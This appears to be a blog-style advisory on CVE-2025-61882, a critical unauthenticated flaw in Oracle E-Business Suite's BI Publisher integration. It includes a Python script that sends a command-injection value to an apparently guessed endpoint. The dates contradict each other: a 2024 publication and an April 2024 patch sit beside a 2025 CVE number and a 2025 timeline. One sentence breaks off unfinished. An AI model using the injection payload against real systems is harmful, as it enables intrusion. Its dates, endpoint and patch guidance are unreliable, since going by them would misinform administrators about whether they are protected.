Published: June 2024
CVSS 3.1 Base Score: 9.8 (Critical)
Affected Versions: Oracle E-Business Suite 12.2.3 - 12.2.14 (Concurrent Processing / BI Publisher Integration)

Introduction

A newly disclosed vulnerability, CVE-2025-61882, has rocked the Oracle E-Business Suite world. This issue affects the Concurrent Processing module, specifically its integration with BI Publisher. If left unpatched, attackers can remotely, unauthenticated, take over Oracle Concurrent Processing—possibly leading to a full compromise of your E-Business Suite.

What Is This Vulnerability?

Oracle's BI Publisher lets organizations generate and deliver vital business documents securely. In E-Business Suite, its integration with the Concurrent Processing product enables automatic report generation. Unfortunately, a security flaw in this integration now allows anyone with HTTP access (no login required!) to send malicious requests—getting full control over Concurrent Processing.

Technical Details

Oracle is keeping specific internals private for now. However, threat researchers and security bulletins indicate the vulnerability exists in the endpoint handling report generation requests between BI Publisher and Concurrent Processing—essentially, a web API endpoint does not properly validate input or session state.

A remote attacker can send a specially crafted HTTP POST or GET request to this endpoint, which then may:

Exploit Example (Pseudo-code)

> Warning: Do NOT use this against any production system without explicit authorization.

Below is a basic *Python* script example demonstrating how an unauthenticated attacker might exploit the flaw, based on “blind” request injection scenarios.

import requests

target = "http://vulnerable-oracle-server:800/OA_HTML/BIPublisherIntegration";

# Malicious payload could be a fake report request, privilege change, or OS command (depends on system config)
payload = {
    "reportId": "",
    "template": "Standard",
    "outputType": "XML",
    "jobParameter": "'; uname -a > /tmp/hacked.txt; #"
}

# Sending unauthenticated POST request
resp = requests.post(target, data=payload)

if resp.status_code == 200:
    print("Exploit likely successful, check /tmp/hacked.txt on target")
else:
    print("Exploit failed or blocked")

*This example is illustrative; real-world payloads may differ based on specific configurations.*

Real-World Impact

- Full System Takeover: Attackers can fully control Oracle Concurrent Processing jobs—view, alter, or delete critical business data, or run malicious processes.

Confidentiality Breach: Sensitive data in reports, schedules, and logs can be extracted.

- Integrity Impact: Automated jobs could be manipulated to cause accounting mistakes or business workflow disruption.
- Availability: System outages are possible if the attacker spams or schedules resource-intensive jobs.

Mitigation and Patch Guidance

Oracle released a fix in the April 2024 Critical Patch Update (CPU).

Audit accounts and roles for unauthorized changes.

Full advisory:
- Oracle E-Business Suite CVE-2025-61882 Security Alert

Final Words

CVE-2025-61882 is a critical, easily-exploited flaw with the potential for catastrophic business and data loss. Every Oracle E-Business Suite administrator or system owner should patch IMMEDIATELY and review system security postures. Attackers are already scanning for exposed systems.

References

- Oracle CPU April 2024
- NIST NVD: CVE-2025-61882
- Oracle E-Business Suite Documentation

*This article is original content for educational awareness and incident prevention; always act responsibly and legally.*

Timeline

Published on: 10/05/2025 04:15:40 UTC
Last modified on: 10/27/2025 17:08:52 UTC